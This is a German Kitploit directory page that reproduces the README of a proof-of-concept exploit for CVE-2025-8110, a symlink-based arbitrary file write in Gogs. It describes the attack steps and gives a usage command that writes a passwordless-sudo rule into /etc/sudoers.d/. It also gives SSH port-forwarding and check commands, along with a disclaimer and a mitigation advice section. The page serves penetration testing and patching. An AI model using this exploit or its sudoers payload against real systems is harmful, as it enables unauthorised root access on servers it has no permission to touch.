Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8110-gogs-poc — PoC für CVE-2025-8110 - Gogs beliebiges Datei-Schreiben über Symlink | Kitploit
Tools/GitHubGitHub/shirouuu/cve-2025-8110-gogs-poc
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubshirouuu/cve-2025-8110-gogs-poc

CVE-2025-8110-gogs-poc

PoC für CVE-2025-8110 - Gogs beliebiges Datei-Schreiben über Symlink

Repository anzeigen
5vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-8110 — Gogs Beliebiger Datei-Schreibzugriff (PoC)

Proof-of-Concept für einen authentifizierten beliebigen Datei-Schreibzugriff in Gogs. Durch das Pushen eines Repositorys, das einen symbolischen Link enthält, der aus dem Repo hinausweist, und anschließendes Aktualisieren des Link-Inhalts über die API kann ein authentifizierter Benutzer Dateien auf dem Host mit den Berechtigungen des Kontos überschreiben, unter dem Gogs läuft.

Nur autorisierte Tests und Schulungen. Führen Sie dies nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Sie sind dafür verantwortlich, wie Sie es verwenden.

Funktionsweise

  1. Mit einem vorhandenen Konto bei Gogs anmelden.
  2. Ein Anwendungs- (API-) Token aus den Benutzereinstellungen generieren.
  3. Ein Repository erstellen.
  4. Einen symbolischen Link (malicious_link -> /pfad/auf/host) hinzufügen und pushen.
  5. Senden Sie einen PUT-Request an die Contents-API, um malicious_link zu aktualisieren. Gogs folgt dem symbolischen Link und schreibt den bereitgestellten Inhalt in den Zielpfad – mit seinen eigenen Berechtigungen. Wenn Gogs als root läuft, ist dies ein direktes Privilegieneskalations-Primitiv (z.B. Einfügen einer Regel in /etc/sudoers.d/).

Der API-PUT-Request ist das, was den Schreibvorgang tatsächlich auslöst; der Push platziert nur den symbolischen Link.

Voraussetzungen

  • Python 3.8+
  • git im PATH verfügbar
  • Ein vorhandenes Gogs-Konto (Registrierung kann auf dem Ziel deaktiviert sein)
root@kitploit:~
pip install -r requirements.txt

Verwendung

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:3000 \
    --user <username> \
    --password '<password>' \
    --target /etc/sudoers.d/pwned \
    --payload '<username> ALL=(ALL) NOPASSWD: ALL'

Lassen Sie --password weg, um stattdessen sicher zur Eingabe aufgefordert zu werden, anstatt es über die Befehlszeile zu übergeben.

Erreichen einer internen Gogs-Instanz

Gogs ist auf dem Ziel oft an localhost gebunden. Verwenden Sie SSH-Local-Port-Forwarding, um es für Ihren Rechner verfügbar zu machen (passen Sie die Ports an das Ziel an):

root@kitploit:~
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000

Überprüfen des Schreibvorgangs

Nach einem erfolgreichen Durchlauf überprüfen Sie auf dem Host (als der entsprechende Benutzer):

root@kitploit:~
cat /etc/sudoers.d/pwned
sudo -l

Wenn Sie eine sudoers-Regel geschrieben haben, beachten Sie, dass Dateien in /etc/sudoers.d/ gültig sein müssen und über die entsprechenden Berechtigungen verfügen müssen, damit sudo sie berücksichtigt.

Hinweise / Fehlerbehebung

  • auto_init gibt HTTP 500 zurück — das Skript fällt zurück auf das Erstellen eines leeren Repos und das Befüllen mit einem lokalen git init + Push.
  • Push abgelehnt (non-fast-forward) — das Skript gleicht sich mit dem Remote ab und wiederholt den Vorgang; es behandelt auch master vs main.
  • CSRF-Token nicht gefunden — bedeutet normalerweise, dass das Ziel/der Port falsch ist (Sie treffen einen anderen Dienst) oder die Sitzung nicht authentifiziert ist.

Gegenmaßnahmen

Aktualisieren Sie auf eine Gogs-Version, die symbolische Links in der Contents-API validiert. Verwenden Sie zur Tiefenverteidigung kein Root-Konto für Gogs und isolieren Sie die Repository-Speicherung.

Lizenz

MIT — siehe LICENSE.

Tool herunterladen